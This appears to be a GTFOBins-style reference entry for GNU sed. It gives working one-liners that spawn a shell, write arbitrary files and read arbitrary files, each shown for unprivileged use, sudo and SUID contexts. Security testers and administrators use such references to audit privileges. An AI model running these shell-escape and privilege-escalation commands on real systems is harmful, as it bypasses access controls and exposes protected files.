Shell

This executable can spawn an interactive system shell.
  1. Version requirementsGNU
    This function can be performed by any unprivileged user.
    sed -n '1e exec /bin/sh 1>&0' /etc/hosts
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    sed -n '1e exec /bin/sh 1>&0' /etc/hosts
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    sed -n '1e exec /bin/sh 1>&0' /etc/hosts
  2. Version requirementsGNU
    This function can be performed by any unprivileged user.
    sed e
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    sed e
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    sed e
    TTYThe spawned shell is just a dummy REPL that can only run simple terminal commands.

File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    sed '' /path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    sed '' /path/to/input-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    sed '' /path/to/input-file